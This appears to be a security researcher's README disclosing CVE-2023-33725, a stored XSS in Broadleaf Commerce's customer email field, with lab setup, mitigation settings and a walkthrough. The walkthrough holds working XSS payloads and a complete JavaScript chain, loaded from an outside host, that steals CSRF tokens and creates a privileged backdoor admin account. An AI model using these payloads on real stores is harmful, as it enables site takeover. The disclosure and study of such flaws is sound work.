Skip to content

Latest commit

 

History

History
260 lines (191 loc) · 12.6 KB

README.md

File metadata and controls

260 lines (191 loc) · 12.6 KB

CVE-2023-33725 XSS Vulnerability leading to Admin Account on Broadleaf ECommerce Sites

Broadleaf Background Info

Broadleaf is a Open source/Commerical E Commerce framework based on Spring/Thymeleaf Broadleaf Commerce All work below is done on their Demo application, but the vulnerabilities are in the underlying framework, the demo site is a thin layer built on top of the Broadleaf framework to showcase it.GitHub - BroadleafCommerce/DemoSite: The Broadleaf Heat Clinic Spring Boot application

The site is split into 2 different applications I'm focussing on.

Site : Which is the customer facing storefront.

Admin : Which is the backend admin interface used to administer the store, add/remove items, change prices etc.

Burptrast The Burptrast plugin was used to find the initial vulnerability, the Broadleaf Demo application was instrumented with Assess, which is provided to Burp via the Burptrast plugin.

Finding

TLDR; CVE-2023-33725. A XSS Vulnerability in the email field allows JS injection within the checkout page of the Site. But more seriously the same vulnerability appears in the Admin site. Allowing a Customer to register with the website, with a email address containing a XSS attack, when a Admin logs into the Admin site and views the list of customers, the XSS is triggered, which in turn creates a new Admin user, allowing the attacker to login a site Admin.

Remediation

Fix

CVE-2023-33725 has been fixed in broadleaf-6.2.6.1-GA if you are using an earlier version it is important to update as soon as possible.

Mitigation

If you cannot upgrade your Ecommerce site quickly, it is possible to mitigate this vulnerability by enabling XSS protections provided by broadleaf ( They are not enabled by default in the demo )

exploitProtection.xssEnabled=true
exploitProtection.xsrfEnabled=true
blc.site.enable.xssWrapper=true

Of if you have this enabled already, you are safe from this vulnerability.

Setup

Configuration Files

Agent Config

If you use either Docker or Manual you will first need a contrast_security.yaml file. Details of how to do this are under the contrast_security.yaml section of Contrast-Community-Edition.md Once you have the credentials from the config file, copy the api : section into the contrast_security.yaml file in this directory and point the agent at that file.

Burptrast Config

Details of how to configure Burptrast are available under README.md

Docker

Once you have added your TeamServer Credentials to contrast_security.yaml, details above. Run the following command docker commands from this directory.

docker build -t cve-2023-33725 .
docker run -p 8443:8443 -p 8444:8444 cve-2023-33725

The build command may take a few minutes to run. Once running you should be able to access the demo site under https://localhost:8443 And the admin site under https://localhost:8444

Manual

Prerequisities

  • Java 11
  • Maven
  • Git

Clone the Broadleaf Demo site from github.

Checkout

git clone https://github.com/BroadleafCommerce/DemoSite.git Cd into the directory, roll back to the vulnerable version and build

cd DemoSite
git checkout 369d26c
mvn clean install
Add Assess

Edit the pom.xml file under DemoSite/site/pom.xml

And modify the properties to

<properties>
    <debug.port>8000</debug.port>
    <debug.args>-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -javaagent:/location/to/assess/agent/jar/contrast-agent-4.13.1.jar -Dcontrast.config.path=/location/to/contrast/config/contrast_security.yaml</debug.args>
</properties>

-javaagent is the location of the contrast jar file. It can be downloaded fom maven https://repo1.maven.org/maven2/com/contrastsecurity/contrast-agent/4.13.1/contrast-agent-4.13.1.jar

-Dcontrast.config.path is the location of the contast agent config file. This is used to configure and authenticate the agent against TeamServer.

Build

To build under DemoSite run the command mvn clean install Then to start up the site application run the following command from the DemoSite/site directory.

cd site/
mvn spring-boot:run

Once this has started up, from another terminal start up the admin application. This is run from the DemoSite/admin diretory.

cd admin/
mvn spring-boot:run

Once running you should be able to access the demo site under https://localhost:8443 And the admin site under https://localhost:8444

Burptrast

Full details of how to use Burptrast can be found here README.md

Once installed and configured, select the broadleaf-demo application from the list of applications and select update. You should see a large number of routes, these will be imported into the sitemap.

But before that, set the URL path to https localhost 8443 . As this is the URL we will be testing the application from. Screenshot 2023-04-26 at 12.44.22.png

Then select Live Browse and Then Import Routes to Site Map. This will add all these routes to Burp’s sitemap making it easier for Burp to find vulnerabilities.

Pentest

Finding the Vulnerability

The Stored XSS vulnerability was first found by running a regular business flow of the site.

  • Select an Item
  • Add it to the Basket
  • Checkout as Guest
  • “Pay”

Screenshot 2023-04-26 at 13.05.07.png

With Burptrast, findings in Assess triggered by a request from the Burp Proxy are automatically correlated with the session that made them and show up in Burp’s issue tab.

In this case the email address that was added at checkout, was tracked by Assess, saved to the underlying database, then on a following page it was returned to the user without any encoding to mitigate a potential XSS vulnerability.

Verifying the Vulnerability

While Assess showed that the value originating from a potential attacker, entered the database and was returned in a way that allows for a Stored XSS vulnerability, it could be that there are some validation or encoding that is done that Assess missed. Also as an email field, it is limited in what can be entered.

First, create a non guest customer account, this will be easier to verify this issue and more likely to be persistent than a guest user checkout.

Screenshot 2023-04-26 at 13.30.51.png

Then once logged in we can edit the email address field on the profile. This XSS in a valid email address is from XSS in Email Login Fields:

"><svg/onload=alert(1)>"@gmail.com Which fails due to client side validation Screenshot 2023-04-26 at 13.49.07.png

But by modifying a valid email change request in burp ( you need to use the url encoded version of the payload which is %60%22%3E%3Csvg%2Fonload%3Dalert%281%29%3E%22%40gmail.com%60 )

Screenshot 2023-04-26 at 13.46.49.png

We bypass the client side validation and get Screenshot 2023-04-26 at 13.47.23.png And we can verify the vulnerability by going to the checkout page.

Screenshot 2023-04-26 at 13.48.02.png

Exploiting the Vulnerability

So we have a verified XSS Vulnerability, with which you can annoy yourself. But what else can it do?

There is a separate Admin site running on https://localhost:8444/admin

( default credentials for the demo site are admin:admin )

Screenshot 2023-04-26 at 13.54.58.png

By going to customers page we immediately see that the admin site is vulnerable as it displays the signed up customer's email addresses and as this impacts the site admin we should be able to further leverage this XSS. Screenshot 2023-04-26 at 13.56.01.png

Creating an Admin Account via XSS

Under https://localhost:8444/admin/user-management we have the ability of creating new admin users. Screenshot 2023-04-26 at 15.09.33.png

This generates a POST request we can replicate within the XSS.

Screenshot 2023-04-26 at 15.10.57.png

But there is an issue, there are two tokens within the request, a CSRFToken and StateVersionToken. If we want to create a new admin user we also need to find these tokens.

These tokens reside within the HTML of the generated page. So sending a GET request to /admin/user-management which doesn't change the application state and therefore doesn’t require a token, reveals the tokens.

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    xhr.responseType = "document";
    xhr.open("GET", "/admin/user-management", true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            page = xhr.response
            csrf = page.getElementsByName("csrfToken");
            state = page.getElementsByName("stateVersionToken");
            console.log("The token is: " + csrf[0].value);
            console.log("The state is: " + state[0].value);
            submitFormWithTokenJS(csrf[0].value, state[0].value);
        }
    };
    xhr.send(null);
}

This retrieves the CSRF and State tokens.

The next function takes the tokens and embeds them into the POST request to add the new admin user.

function submitFormWithTokenJS(token, state) {
    const username = "backdooradmin";

    var xhr = new XMLHttpRequest();
    xhr.open("POST", "/admin/user-management/add", true);
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhr.responseType = "document";
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            console.log(xhr.responseURL)
            var result = /[^/]*$/.exec(xhr.responseURL)[0];
            addAdminAccess(token,state,result);
        }
    }
    xhr.send("ceilingEntityClassname=org.broadleafcommerce.openadmin.server.security.domain.AdminUser&entityType=org.broadleafcommerce.openadmin.server.security.domain.AdminUserImpl&id=&sectionCrumbs=&mainEntityName=&preventSubmit=false&jsErrorMapString=&fields%5B'name'%5D.value="+username+"&fields%5B'login'%5D.value="+username+"&fields%5B'email'%5D.value="+username+"%40example.com&fields%5B'phoneNumber'%5D.value=&fields%5B'password'%5D.value="+username+"&fields%5B'passwordConfirm'%5D.value="+username+"&fields%5B'activeStatusFlag'%5D.value=true&fields%5B'auditable__createdBy'%5D.value=&fields%5B'auditable__dateCreated'%5D.value-display=&fields%5B'auditable__dateCreated'%5D.value=&fields%5B'auditable__updatedBy'%5D.value=&fields%5B'auditable__dateUpdated'%5D.value-display=&fields%5B'auditable__dateUpdated'%5D.value=&csrfToken="+token+"&stateVersionToken="+state);
}

There is a 3rd step. While the above generates the admin user, its a admin account with no privileges.

The next step gives the admin user master admin privileges.

function addAdminAccess(token,state,path) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "/admin/user-management/"+path+"/allRoles/add", true);
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhr.responseType = "document";
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
      
        }
    }
    xhr.send("fields%5B'id'%5D.value=-1&fields%5B'description'%5D.value=Admin+Master+Access&fields%5B'__adminMainEntity'%5D.value=ROLE_ADMIN&csrfToken="+token+"&stateVersionToken="+state);
}

With this js file created, we just need to host it somewhere https://joebeeton.github.io/b.js

Then reference it in our original XSS by setting the customer email address to

"<script src='https://joebeeton.github.io/b.js' />"@ab.uk ( you need to use the url encoded version of the payload which is %22%3Cscript%20src%3D%27https%3A%2F%2Fjoebeeton.github.io%2Fb.js%27%20%2F%3E%22%40ab.uk ) Then wait for an unsuspecting admin user to login, trigger the xss payload and generate the new admin account for us. Screenshot 2023-04-26 at 15.40.04.png And from there the attacker can login with the credentials newadmin : newadmin as an admin and takeover the site.